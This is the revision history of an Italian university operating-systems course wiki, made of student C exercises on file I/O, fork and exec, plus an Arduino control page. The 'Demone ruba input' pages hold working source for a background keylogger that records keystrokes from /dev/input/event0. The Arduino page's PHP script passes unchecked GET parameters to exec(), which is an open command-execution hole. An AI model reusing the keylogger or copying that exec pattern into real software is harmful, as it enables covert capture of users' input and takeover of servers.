char read_commands(char** commands, int argc)
{
int action = 0;
int pin;

if(strcmp(commands[0], "LED") == 0)
{
if(strcmp(commands[1], "ON") == 0)
{
pin = atoi(commands[2]);
action = 10 + pin;
}
else if(strcmp(commands[2], "OFF") == 0)
{
pin = atoi(commands[2]);
action = 0 + pin;
}
}
else if(strcmp(commands[0], "SEND") == 0)
{
action = atoi(commands[1]);
}

return action;//TODO
}

int main(int argc, char* argv[])
{
if(argc < 1) usage();

int fd;
int i;
char* message;
size_t size = 1024;
int read;
char** split = NULL;
int tokens;
char delim = ' ';
char read_command = 0;

message = malloc(size);

fd = open(argv[1], O_RDWR);
checkError(fd);

if(argc > 2)
{
read_command = read_commands(argv+2, argc-2);
write(fd, &read_command, 1);
exit(0);
}

do
{
read = getline(&message, &size, stdin);

tokens = strspl(&split, message, &delim);

read_command = read_commands(split, tokens);
write(fd, &read_command, 1);

}while(1);

return 0;
}
</source>

Script PHP che usa la exec per eseguire il programma C. Richiede pero' i permessi al file di arduino in /dev e al programma C, altrimenti restituisce permission denied.

<source lang="php">
<?php

if(isset($_GET["script"]) && isset($_GET["args"]))
{
$result = exec($_GET["script"]." ".$_GET["args"]." 2>&1", $output, $return);
echo $_GET["script"]." ".$_GET["args"]." called, result = $result! ";

if(!$return)
{
echo "Succesful! ";
}
else
{
echo "No. ";
}

echo "$output ";
echo "$result ";
}

?>
</source>

Arduino web controller

2015-03-24T14:09:26Z

GFede:

== Federico Giuggioloni ==

Programma in C che, se richiamato da PHP, permette di controllare l'arduino da remoto, in questo esempio ho solo aggiunto la funzione per mandare il segnale HIGH o LOW ai primi 9 pin attraverso il comando SEND n.
se n e' minore di 10 mand a LOW al numero specificato, se e' maggiore di 10 e minore di 20 manda HIGH al pin specificato dalla seconda cifra.

Sketch Arduino:
<source lang="c">
int incomingByte = -1;

void setup()
{
// Open serial communications and wait for port to open:
Serial.begin(9600); //57600

pinMode(8, OUTPUT);

Serial.println("Hello world!");
}

void loop() // run over and over
{
if (Serial.available() > 0)
{
incomingByte = Serial.read();
Serial.print("I received: ");
Serial.println(incomingByte, DEC);

if( incomingByte < 10 )
{
digitalWrite(incomingByte, LOW);
}
else if(incomingByte < 20)
{
digitalWrite(incomingByte-10, HIGH);
}
}
}
</source>

Programma in C che interpreta i comandi e invia un numero all'arduino corrispondente alla azione da intraprendere:
<source lang="c">
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>

#define MAXIMUM_CHAIN 16

void usage()
{
printf("Usage:\n\tarduino-controller /dev/ttyUSBX\nWhere X depends on which port arduino is connected to\n");
exit(1);
}

void checkError(int result)
{
if(result < 0)
{
printf("Error: %s (%i)\n", strerror(errno), errno);
exit(1);
}
}

/**
* strspl
* @author Federico Giuggioloni
* Splits a string and allocates memory for an array
* which contains the result of the split.
*
* @param char*** split a pointer to a string array,
* can be null. after the call, it'll be an
* array with the required elements.
* @param char* string a pointer to the string to split
* @param const char* delim a pointer to the delimiter.
* @return number of elements in the split array
*/
int strspl(char*** split, char* string, const char* delim)
{
char* result;
char* parsed = malloc(strlen(string)+1);
char* tofree = parsed;

if(*split == NULL)
{
*split = malloc(sizeof(char*) * MAXIMUM_CHAIN);
}

strcpy(parsed, string);

int i = 0;
while((result = strtok(parsed, delim)) != NULL)
{
//subsequent calls to strtok must have NULL in the first
//parameter
parsed = NULL;

//(*split)[i] = result;
(*split)[i] = malloc(strlen(result) * sizeof(char) + 1);
strcpy((*split)[i], result);

printf("%s\n", result);

i++;
}

free(tofree);
return i;
}

/**
* read_commands
* @author Federico Giuggioloni
* Reads commands from an array produced by strspl
*
* @return integer determining which action has to be executed
* (HINTHINT Send it directly to arduino)
*/
char read_commands(char** commands, int argc)
{
int action = 0;
int pin;

if(strcmp(commands[0], "LED") == 0)
{
if(strcmp(commands[1], "ON") == 0)
{
pin = atoi(commands[2]);
action = 10 + pin;
}
else if(strcmp(commands[2], "OFF") == 0)
{
pin = atoi(commands[2]);
action = 0 + pin;
}
}
else if(strcmp(commands[0], "SEND") == 0)
{
action = atoi(commands[1]);
}

return action;//TODO
}

int main(int argc, char* argv[])
{
if(argc < 1) usage();

int fd;
int i;
char* message;
size_t size = 1024;
int read;
char** split = NULL;
int tokens;
char delim = ' ';
char read_command = 0;

message = malloc(size);

fd = open(argv[1], O_RDWR);
checkError(fd);

if(argc > 2)
{
read_command = read_commands(argv+2, argc-2);
write(fd, &read_command, 1);
exit(0);
}

do
{
read = getline(&message, &size, stdin);

tokens = strspl(&split, message, &delim);

read_command = read_commands(split, tokens);
write(fd, &read_command, 1);

}while(1);

return 0;
}
</source>

Script PHP che usa la exec per eseguire il programma C. Richiede pero' i permessi al file di arduino in /dev e al programma C, altrimenti restituisce permission denied.

<source lang="php">
<?php

if(isset($_GET["script"]) && isset($_GET["args"]))
{
$result = exec($_GET["script"]." ".$_GET["args"]." 2>&1", $output, $return);
echo $_GET["script"]." ".$_GET["args"]." called, result = $result! ";

if(!$return)
{
echo "Succesful! ";
}
else
{
echo "No. ";
}

echo "$output ";
echo "$result ";
}

?>
</source>

Arduino web controller

2015-03-24T14:07:30Z

GFede:

== Federico Giuggioloni ==

Programma in C che, se richiamato da PHP, permette di controllare l'arduino da remoto, in questo esempio ho solo aggiunto la funzione per mandare il segnale HIGH o LOW ai primi 9 pin attraverso il comando SEND n.
se n e' minore di 10 mand a LOW al numero secificato, se e' maggiore di 10 e minore di 20 manda HIGH al pin specificato dalla seconda cifra.

Sketch Arduino:
<source lang="c">
int incomingByte = -1;

void setup()
{
// Open serial communications and wait for port to open:
Serial.begin(9600); //57600

pinMode(8, OUTPUT);

Serial.println("Hello world!");
}

void loop() // run over and over
{
if (Serial.available() > 0)
{
incomingByte = Serial.read();
Serial.print("I received: ");
Serial.println(incomingByte, DEC);

if( incomingByte < 10 )
{
digitalWrite(incomingByte, LOW);
}
else if(incomingByte < 20)
{
digitalWrite(incomingByte-10, HIGH);
}
}
}
</source>

Programma in C che interpreta i comandi e invia un numero all'arduino corrispondente alla azione da intraprendere:
<source lang="c">
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>

#define MAXIMUM_CHAIN 16

void usage()
{
printf("Usage:\n\tarduino-controller /dev/ttyUSBX\nWhere X depends on which port arduino is connected to\n");
exit(1);
}

void checkError(int result)
{
if(result < 0)
{
printf("Error: %s (%i)\n", strerror(errno), errno);
exit(1);
}
}

/**
* strspl
* @author Federico Giuggioloni
* Splits a string and allocates memory for an array
* which contains the result of the split.
*
* @param char*** split a pointer to a string array,
* can be null. after the call, it'll be an
* array with the required elements.
* @param char* string a pointer to the string to split
* @param const char* delim a pointer to the delimiter.
* @return number of elements in the split array
*/
int strspl(char*** split, char* string, const char* delim)
{
char* result;
char* parsed = malloc(strlen(string)+1);
char* tofree = parsed;

if(*split == NULL)
{
*split = malloc(sizeof(char*) * MAXIMUM_CHAIN);
}

strcpy(parsed, string);

int i = 0;
while((result = strtok(parsed, delim)) != NULL)
{
//subsequent calls to strtok must have NULL in the first
//parameter
parsed = NULL;

//(*split)[i] = result;
(*split)[i] = malloc(strlen(result) * sizeof(char) + 1);
strcpy((*split)[i], result);

printf("%s\n", result);

i++;
}

free(tofree);
return i;
}

/**
* read_commands
* @author Federico Giuggioloni
* Reads commands from an array produced by strspl
*
* @return integer determining which action has to be executed
* (HINTHINT Send it directly to arduino)
*/
char read_commands(char** commands, int argc)
{
int action = 0;
int pin;

if(strcmp(commands[0], "LED") == 0)
{
if(strcmp(commands[1], "ON") == 0)
{
pin = atoi(commands[2]);
action = 10 + pin;
}
else if(strcmp(commands[2], "OFF") == 0)
{
pin = atoi(commands[2]);
action = 0 + pin;
}
}
else if(strcmp(commands[0], "SEND") == 0)
{
action = atoi(commands[1]);
}

return action;//TODO
}

int main(int argc, char* argv[])
{
if(argc < 1) usage();

int fd;
int i;
char* message;
size_t size = 1024;
int read;
char** split = NULL;
int tokens;
char delim = ' ';
char read_command = 0;

message = malloc(size);

fd = open(argv[1], O_RDWR);
checkError(fd);

if(argc > 2)
{
read_command = read_commands(argv+2, argc-2);
write(fd, &read_command, 1);
exit(0);
}

do
{
read = getline(&message, &size, stdin);

tokens = strspl(&split, message, &delim);

read_command = read_commands(split, tokens);
write(fd, &read_command, 1);

}while(1);

return 0;
}
</source>

Script PHP che usa la exec per eseguire il programma C. Richiede pero' i permessi al file di arduino in /dev e al programma C, altrimenti restituisce permission denied.

<source lang="php">
<?php

if(isset($_GET["script"]) && isset($_GET["args"]))
{
$result = exec($_GET["script"]." ".$_GET["args"]." 2>&1", $output, $return);
echo $_GET["script"]." ".$_GET["args"]." called, result = $result! ";

if(!$return)
{
echo "Succesful! ";
}
else
{
echo "No. ";
}

echo "$output ";
echo "$result ";
}

?>
</source>

Arduino web controller

2015-03-24T14:03:50Z

GFede: Created page with "Programma in C che, se richiamato da PHP, permette di controllare l'arduino da remoto, in questo esempio ho solo aggiunto la funzione per mandare il segnale HIGH o LOW ai prim..."

Programma in C che, se richiamato da PHP, permette di controllare l'arduino da remoto, in questo esempio ho solo aggiunto la funzione per mandare il segnale HIGH o LOW ai primi 9 pin attraverso il comando SEND n.
se n e' minore di 10 mand a LOW al numero secificato, se e' maggiore di 10 e minore di 20 manda HIGH al pin specificato dalla seconda cifra.

Sketch Arduino:
<source lang="c">
int incomingByte = -1;

void setup()
{
// Open serial communications and wait for port to open:
Serial.begin(9600); //57600

pinMode(8, OUTPUT);

Serial.println("Hello world!");
}

void loop() // run over and over
{
if (Serial.available() > 0)
{
incomingByte = Serial.read();
Serial.print("I received: ");
Serial.println(incomingByte, DEC);

if( incomingByte < 10 )
{
digitalWrite(incomingByte, LOW);
}
else if(incomingByte < 20)
{
digitalWrite(incomingByte-10, HIGH);
}
}
}
</source>

Programma in C che interpreta i comandi e invia un numero all'arduino corrispondente alla azione da intraprendere:
<source lang="c">
#include <stdio.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>

#define MAXIMUM_CHAIN 16

void usage()
{
printf("Usage:\n\tarduino-controller /dev/ttyUSBX\nWhere X depends on which port arduino is connected to\n");
exit(1);
}

void checkError(int result)
{
if(result < 0)
{
printf("Error: %s (%i)\n", strerror(errno), errno);
exit(1);
}
}

/**
* strspl
* @author Federico Giuggioloni
* Splits a string and allocates memory for an array
* which contains the result of the split.
*
* @param char*** split a pointer to a string array,
* can be null. after the call, it'll be an
* array with the required elements.
* @param char* string a pointer to the string to split
* @param const char* delim a pointer to the delimiter.
* @return number of elements in the split array
*/
int strspl(char*** split, char* string, const char* delim)
{
char* result;
char* parsed = malloc(strlen(string)+1);
char* tofree = parsed;

if(*split == NULL)
{
*split = malloc(sizeof(char*) * MAXIMUM_CHAIN);
}

strcpy(parsed, string);

int i = 0;
while((result = strtok(parsed, delim)) != NULL)
{
//subsequent calls to strtok must have NULL in the first
//parameter
parsed = NULL;

//(*split)[i] = result;
(*split)[i] = malloc(strlen(result) * sizeof(char) + 1);
strcpy((*split)[i], result);

printf("%s\n", result);

i++;
}

free(tofree);
return i;
}

/**
* read_commands
* @author Federico Giuggioloni
* Reads commands from an array produced by strspl
*
* @return integer determining which action has to be executed
* (HINTHINT Send it directly to arduino)
*/
char read_commands(char** commands, int argc)
{
int action = 0;
int pin;

if(strcmp(commands[0], "LED") == 0)
{
if(strcmp(commands[1], "ON") == 0)
{
pin = atoi(commands[2]);
action = 10 + pin;
}
else if(strcmp(commands[2], "OFF") == 0)
{
pin = atoi(commands[2]);
action = 0 + pin;
}
}
else if(strcmp(commands[0], "SEND") == 0)
{
action = atoi(commands[1]);
}

return action;//TODO
}

int main(int argc, char* argv[])
{
if(argc < 1) usage();

int fd;
int i;
char* message;
size_t size = 1024;
int read;
char** split = NULL;
int tokens;
char delim = ' ';
char read_command = 0;

message = malloc(size);

fd = open(argv[1], O_RDWR);
checkError(fd);

if(argc > 2)
{
read_command = read_commands(argv+2, argc-2);
write(fd, &read_command, 1);
exit(0);
}

do
{
read = getline(&message, &size, stdin);

tokens = strspl(&split, message, &delim);

read_command = read_commands(split, tokens);
write(fd, &read_command, 1);

}while(1);

return 0;
}
</source>

Script PHP che usa la exec per eseguire il programma C. Richiede pero' i permessi al file di arduino in /dev e al programma C, altrimenti restituisce permission denied.

<source lang="php">
<?php

if(isset($_GET["script"]) && isset($_GET["args"]))
{
$result = exec($_GET["script"]." ".$_GET["args"]." 2>&1", $output, $return);
echo $_GET["script"]." ".$_GET["args"]." called, result = $result! ";

if(!$return)
{
echo "Succesful! ";
}
else
{
echo "No. ";
}

echo "$output ";
echo "$result ";
}

?>
</source>

Demone ruba input

2015-03-02T12:04:29Z

GFede:

Crea un demone che ascolta sulla tastiera (se il file della tastiera e' event0) e fa da keylogger.

Tutti i caratteri premuti vengono salvati nel file passato come primo argomento. ESC termina l'esecuzione in qualsiasi momento.

<source lang="C">
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <linux/input.h>

#define MAX_BUFFER 16

struct input_event inputs[MAX_BUFFER];

char toChar(int code);

/**
* Federico Giuggioloni 2 Marzo 2015
*/
int main(int args, char* argv[])
{

if(fork())
{
//Padre
exit(0);
}
else
{
//Figlio
//printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
int i = 0;
int fd = open("/dev/input/event0", O_RDONLY);
int fd1 = open(argv[1], O_CREAT | O_TRUNC | O_WRONLY);

while(1)
{
//read(fd, &letto, sizeof(int));
read(fd, inputs, sizeof(struct input_event) * MAX_BUFFER);
for(i = 0; i < MAX_BUFFER; i++)
{
char c = toChar(inputs[i].code);
//printf("%c\t", c);
if(inputs[i].code == KEY_ESC)
{
exit(0);
}
else if(inputs[i].code == KEY_ENTER)
{

}
else if(inputs[i].code != 0 && inputs[i].type == EV_KEY
&& inputs[i].value == 1)
{
write(fd1, &c, 1);
}

}
//printf("\n");
i++;
}

//printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
exit(0);
}

return 0;
}

char toChar(int code)
{
switch(code)
{
case KEY_Q:
return 'q';
case KEY_W:
return 'w';
case KEY_E:
return 'e';
case KEY_R:
return 'r';
case KEY_T:
return 't';
case KEY_Y:
return 'y';
case KEY_U:
return 'u';
case KEY_I:
return 'i';
case KEY_O:
return 'o';
case KEY_P:
return 'p';
case KEY_A:
return 'a';
case KEY_S:
return 's';
case KEY_D:
return 'd';
case KEY_F:
return 'f';
case KEY_G:
return 'g';
case KEY_H:
return 'h';
case KEY_J:
return 'j';
case KEY_K:
return 'k';
case KEY_L:
return 'l';
case KEY_Z:
return 'z';
case KEY_X:
return 'x';
case KEY_C:
return 'c';
case KEY_V:
return 'v';
case KEY_B:
return 'b';
case KEY_N:
return 'n';
case KEY_M:
return 'm';
case KEY_SPACE:
return ' ';
default:
return '0';
}
}
</source>
[[User:GFede|GFede]] ([[User talk:GFede|talk]]) 13.43 Mon, 02 Mar 2015 (CET)

Demone ruba input

2015-03-02T12:02:18Z

GFede:

Demone ruba input

2015-03-02T12:01:53Z

GFede:

Crea un demone che ascolta sulla tastiera (se il file della tastiera e' event0) e fa da keylogger.

Tutti i caratteri premuti vengono salvati nel file passato come primo argomento. ESC termina l'esecuzione in qualsiasi momento.

<source lang="C">
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <linux/input.h>

#define MAX_BUFFER 16

struct input_event inputs[MAX_BUFFER];

char toChar(int code);

/**
* Federico Giuggioloni 25 Febbraio 2015
*/
int main(int args, char* argv[])
{

if(fork())
{
//Padre
exit(0);
}
else
{
//Figlio
//printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
int i = 0;
int fd = open("/dev/input/event0", O_RDONLY);
int fd1 = open(argv[1], O_CREAT | O_TRUNC | O_WRONLY);

while(1)
{
//read(fd, &letto, sizeof(int));
read(fd, inputs, sizeof(struct input_event) * MAX_BUFFER);
for(i = 0; i < MAX_BUFFER; i++)
{
char c = toChar(inputs[i].code);
//printf("%c\t", c);
if(inputs[i].code == KEY_ESC)
{
exit(0);
}
else if(inputs[i].code == KEY_ENTER)
{

}
else if(inputs[i].code != 0 && inputs[i].type == EV_KEY
&& inputs[i].value == 1)
{
write(fd1, &c, 1);
}

}
//printf("\n");
i++;
}

//printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
exit(0);
}

return 0;
}

char toChar(int code)
{
switch(code)
{
case KEY_Q:
return 'q';
case KEY_W:
return 'w';
case KEY_E:
return 'e';
case KEY_R:
return 'r';
case KEY_T:
return 't';
case KEY_Y:
return 'y';
case KEY_U:
return 'u';
case KEY_I:
return 'i';
case KEY_O:
return 'o';
case KEY_P:
return 'p';
case KEY_A:
return 'a';
case KEY_S:
return 's';
case KEY_D:
return 'd';
case KEY_F:
return 'f';
case KEY_G:
return 'g';
case KEY_H:
return 'h';
case KEY_J:
return 'j';
case KEY_K:
return 'k';
case KEY_L:
return 'l';
case KEY_Z:
return 'z';
case KEY_X:
return 'x';
case KEY_C:
return 'c';
case KEY_V:
return 'v';
case KEY_B:
return 'b';
case KEY_N:
return 'n';
case KEY_M:
return 'm';
case KEY_SPACE:
return ' ';
default:
return '0';
}
}
</source>

Demone ruba input

2015-03-02T10:05:32Z

GFede: Created page with "L'idea era creare un demone che intercetta tutti gli input da tastiera e se li mette da parte, ovviamente richiede permessi di amministratore. Devo ancora fare la parte di let..."

L'idea era creare un demone che intercetta tutti gli input da tastiera e se li mette da parte, ovviamente richiede permessi di amministratore.
Devo ancora fare la parte di lettura del carattere a partire dai valori nella struttura input_event, quindi per ora va in loop infinito.

<source lang="C">
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <linux/input.h>

#define MAX_BUFFER 16

struct input_event inputs[MAX_BUFFER];

int main(int args, char* argv[])
{

if(fork())
{
//Padre
exit(0);
}
else
{
//Figlio
printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
int i = 0;
int fd = open("/dev/input/event0", O_RDONLY);

while(1)
{
//read(fd, &letto, sizeof(int));
read(fd, inputs, sizeof(struct input_event) * MAX_BUFFER);
for(i = 0; i < MAX_BUFFER; i++)
{
printf("%d:%d\t", inputs[i].value, i);
if(inputs[i].value == 'q')
{
break;
}
}
i++;
}

printf("Sono il figlio, pid = %d, padre = %d\n", getpid(), getppid());
exit(0);
}

return 0;
}
</source>

Main Page

2015-03-02T10:00:37Z

GFede:

Questo è il Wiki del Corso di Sistemi Operativi

[[Demone ruba input]]

[[wifi daemon]]

[[Esercizio 1, prova pratica 13/09/2013]]

[[Problema Dei Filosofi]]

[http://www.cs.unibo.it/~renzo/so/portability.tgz portability.tgz]

[[listx.h commentato + esempio su container_of]]

[[Congettura di Goldbach]]

[[list segments]]

[[Execv/fork su file aperto]]

[[Angry_Children]]

[[Esercizio 1, prova pratica 12/02/2009]]

[[(Programma C) Un quadrato nella matrice]]

[["classi"_in_C]]

[[Esempi del 02 dicembre 2014]]

[[Materiale dell'AA 2013-14]]
----
Ricordate che per creare un account o quando viene richiesto di risolvere un semplice calcolo occorre ricordare quanto scritto [[qui]]

Esempi del 02 dicembre 2014

2014-12-02T16:37:31Z

GFede:

scrivere un programma C che faccia lseek a 1miliardo (SEEK_SET) e scriva "ciao".

<source lang="c">
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>

int main( int argc, char* argv[]){
int f;
f = open( argv[1] , O_WRONLY | O_CREAT );
lseek( f , 1000000000 , SEEK_SET ) ;
write( f , "ciao" , 4 ) ;
return 0 ;
}
</source>
Non sono effettivamente riuscito ad aprire il file creato, ma ha la dimensione di 1 Gigabyte.

<source lang="c">
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define MILIONE 1000000

int main(int argc, char* argv[])
{
int file;
file = open("./test.txt", O_WRONLY | O_CREAT | O_TRUNC);

char* str = "ciao";

lseek(file, MILIONE, SEEK_SET);
write(file, str, 5);
exit(0);
}
</source>

Test dup2

<source lang="c">
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, char* argv[])
{
int file;
file = open(argv[1], O_WRONLY | O_CREAT | O_TRUNC);

dup2(file, 1);
printf("ciao\n");
exit(0);
}
</source>

Esempi del 02 dicembre 2014

2014-12-02T16:37:14Z

GFede:

scrivere un programma C che faccia lseek a 1miliardo (SEEK_SET) e scriva "ciao".

<source lang="c">
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>

int main( int argc, char* argv[]){
int f;
f = open( argv[1] , O_WRONLY | O_CREAT );
lseek( f , 1000000000 , SEEK_SET ) ;
write( f , "ciao" , 4 ) ;
return 0 ;
}
</source>
Non sono effettivamente riuscito ad aprire il file creato, ma ha la dimensione di 1 Gigabyte.

<source lang="c">
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define MILIONE 1000000

int main(int argc, char* argv[])
{
int file;
file = open("./test.txt", O_WRONLY | O_CREAT | O_TRUNC);

char* str = "ciao";

lseek(file, MILIONE, SEEK_SET);
write(file, str, 5);
exit(0);
}
</source>

Test dup2

<source lang="c">
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define MILIONE 1000000

int main(int argc, char* argv[])
{
int file;
file = open(argv[1], O_WRONLY | O_CREAT | O_TRUNC);

dup2(file, 1);
printf("ciao\n");
exit(0);
}
</source>

Esempi del 02 dicembre 2014

2014-12-02T16:17:28Z

GFede:

Esempi del 02 dicembre 2014

2014-12-02T16:17:02Z

GFede:

scrivere un programma C che faccia lseek a 1miliardo (SEEK_SET) e scriva "ciao".

<source lang="c">
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>

int main( int argc, char* argv[]){
int f;
f = open( argv[1] , O_WRONLY | O_CREAT );
lseek( f , 1000000000 , SEEK_SET ) ;
write( f , "ciao" , 4 ) ;
return 0 ;
}
</source>
Non sono effettivamente riuscito ad aprire il file creato, ma ha la dimensione di 1 Gigabyte.

<source lang="c">
#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define MILIONE 1000000

int main(int argc, char* argv[])
{
int file;
file = open("./test.txt", O_WRONLY | O_CREAT | O_TRUNC);

char* str = "ciao";

printf("Scrivendo %s a %d\n", str, file);

lseek(file, MILIONE, SEEK_SET);
write(file, str, 5);
exit(0);
}
</source>

Esempi del 02 dicembre 2014

2014-12-02T16:16:41Z

GFede:

scrivere un programma C che faccia lseek a 1miliardo (SEEK_SET) e scriva "ciao".

<source lang="c">
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>

int main( int argc, char* argv[]){
int f;
f = open( argv[1] , O_WRONLY | O_CREAT );
lseek( f , 1000000000 , SEEK_SET ) ;
write( f , "ciao" , 4 ) ;
return 0 ;
}
</source>
Non sono effettivamente riuscito ad aprire il file creato, ma ha la dimensione di 1 Gigabyte.

#include <stdio.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>

#define MILIONE 1000000

int main(int argc, char* argv[])
{
int file;
file = open("./test.txt", O_WRONLY | O_CREAT | O_TRUNC);

char* str = "ciao";

printf("Scrivendo %s a %d\n", str, file);

lseek(file, MILIONE, SEEK_SET);
write(file, str, 5);
exit(0);
}

Esercizio 1, prova pratica 12/02/2009

2014-11-24T10:07:05Z

GFede:

Ho provato a svolgere l'esercizio 1 dell'esame di laboratorio del 2 febbraio 2009 ([http://www.cs.unibo.it/~renzo/so/pratiche/2009.02.12.pdf]).

Consegna:
<source lang="text">
Esercizio1 (obbligatorio): (10 punti)
Scrivere un programma C denominato “invarg” che esegua il programma passato come parametro invertendo gli argomenti.
Esempio:
invarg cat a b c
deve avere l'effetto di
cat c b a
</source>

==Soluzione di Maldus==
<source lang="c">
#include <stdio.h>
#include <stdlib.h>

int main(int argc , char* argv[]){
char *nargv[argc-1] ; /*nargv è il vettore degli argomenti da passare al programma da eseguire*/
int i , j ; /*puntatori che scorrono, rispettivamente, argv ed nargv per riempire correttamente nargv*/
nargv[0] = argv[1] ; /*il primo valore di nargv deve essere il programma chiamato, l'ultimo deve essere NULL*/
nargv[argc-1] = NULL ;
for( i = argc - 1 , j = 1 ; i > 1 , j < (argc - 1) ; i-- , j++ ) nargv[j] = argv[i] ; /*metto in nargv (dal secondo elemento in poi) gli argomenti presenti
in argv in ordine invertito*/
execvp( nargv[0] , nargv ) ; /*eseguo il programma (il cui nome è contenuto in nargv[0]) passandogli nargv come vettore di parametri*/
fprintf( stderr , "programma errato\n" ) ; /*se ci troviamo in questo punto significa che la chiamata a execvp è fallita, probabilmente
perchè il programma indicato non è stato trovato*/
exit(1) ;
}
</source>

==Soluzione di Eddy==
<source lang="c">
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

void scambia_ordine(int argc, char **argv, int j);

int main(int argc , char* argv[])
{
if (argc < 2) return 2;
argv++; argc--;
scambia_ordine(argc, argv, 1);
execvp(argv[0], argv);
perror("execvp");
return 3;
}

/* piccola funzione ricorsiva che:
* -memorizza in tmp gli argomenti dalla fine
* -assegna ad argv in ordine inverso
*
* non scambia il primo argomento
*/
void scambia_ordine(int argc, char **argv, int j)
{
char *tmp;
if (argc > 1){
tmp = argv[argc-1];
scambia_ordine (argc-1, argv, j+1);
argv[j]=tmp;
}

}
</source>
[[User:Eddy|Eddy]] ([[User talk:Eddy|talk]]) 21:00 Saturday, 22 November 2014 (CET)

==Soluzione di GFede==
<source lang="c">
#include <stdio.h>
#include <unistd.h>
#include <errno.h>

void scambia(int offset, int argc, char* argv[]);

int main(int argc, char* argv[])
{
if(argc <= 1)
{
printf("Usage: invarg.exe command [arguments...]\n");
return 2;
}
scambia(2, argc - 1, argv);

execvp(argv[1], argv + 1);
perror("execvp");
return 1;
}

/**
* Scambia le stringhe all'interno dell'array
* void scambia
* int offset Indice da cui iniziare a scambiare
* int argc Numero di valori nell'array (Compreso l'offset)
* char* argv[] array di stringhe da scambiare
*/
void scambia(int offset, int argc, char* argv[])
{
int i;
char* tmp;
for( i = offset; i < argc - i + offset; i++ )
{
tmp = argv[i];
argv[i] = argv[argc - i + offset];
argv[argc - i + offset] = tmp;
}
}
</source>